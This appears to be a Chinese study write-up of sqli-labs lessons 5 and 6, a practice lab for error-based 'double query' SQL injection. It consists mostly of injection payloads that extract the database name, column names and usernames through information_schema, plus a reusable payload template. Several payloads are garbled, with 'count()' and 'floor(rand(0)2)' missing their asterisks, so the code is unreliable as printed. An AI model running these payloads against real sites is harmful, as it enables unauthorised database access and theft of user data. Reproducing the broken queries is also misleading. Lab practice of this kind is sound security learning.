sqli-labs less5-6(双查询注入)
less-5
双查询注入 利用count(), group by, floor(), rand()报错
双查询注入的原理参考博客
打开less-5 用union注入的流程进行发现页面不会有回显,所以union注入无望,还剩下双查询注入和盲注。
双查询注入过程:
- 通过
?id=1' and 1=1 --+
?id=1' and 1=2 --+
判断单引号闭合
- 通过order by查字段个数然后爆数据库
?id=1' union select 1, count(), concat((select database()), '---', floor(rand(0)2)) as a from information_schema.tables group by a --+
此时报错得到数据库名字
- 爆表名
- ' union select count(),count(), concat((select database()), floor(rand()*2)) as a from information_schema.tables group by a --+
4.爆列名
-
?id=1' union select 1, count(), concat((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'), '---', floor(rand(0)2)) as a from information_schema.tables group by a --+
-
?id=1' union select 1, count(), concat((select username from users limit 0,1), '---', floor(rand(0)2)) as a from information_schema.tables group by a --+
从别的大佬那里白嫖过来的经典双查询注入的语句模板
- select count(),concat((payload), floor(rand(0)2)) as a from information_schema.tables group by a --+
在查询的过程中username 和passpord的查询语句很相似,只用修改payload部分
盲注过程
脚本学习ing...
less-6
less-6是通过双引号闭合,原理跟less-5 一样